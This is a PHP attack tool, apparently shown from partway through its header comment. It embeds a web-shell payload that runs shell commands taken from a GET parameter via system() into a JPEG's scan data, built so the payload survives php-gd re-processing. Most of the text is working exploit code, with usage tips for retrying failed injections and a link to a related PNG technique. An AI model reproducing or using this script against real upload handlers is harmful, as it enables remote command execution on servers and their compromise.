![]()
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg\_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
\*/
$miniPayload = '=system($\_GET\[c\]);?>';
if(!extension\_loaded('gd') || !function\_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv\[1\])) {
die('php jpg\_payload.php
');
}
set\_error\_handler("custom\_error\_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv\[1\]);
$outStream = file\_get\_contents($argv\[1\]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str\_repeat("\\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('\_'.$argv\[1\], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str\_repeat("\\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload\_'.$argv\[1\], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload\_'.$argv\[1\]);
die('Something\\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file\_put\_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom\_error\_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg\_match('/(\\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m\[1\])) {
$extraBytes = (int)$m\[1\];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function \_\_construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file\_exists($filename) || !is\_file($filename))
die('File not exists \['.$filename.'\]');
$this->binData = file\_get\_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short\[1\]) << 8) + ord($short\[0\]);
} else {
$short = (ord($short\[0\]) << 8) + ord($short\[1\]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>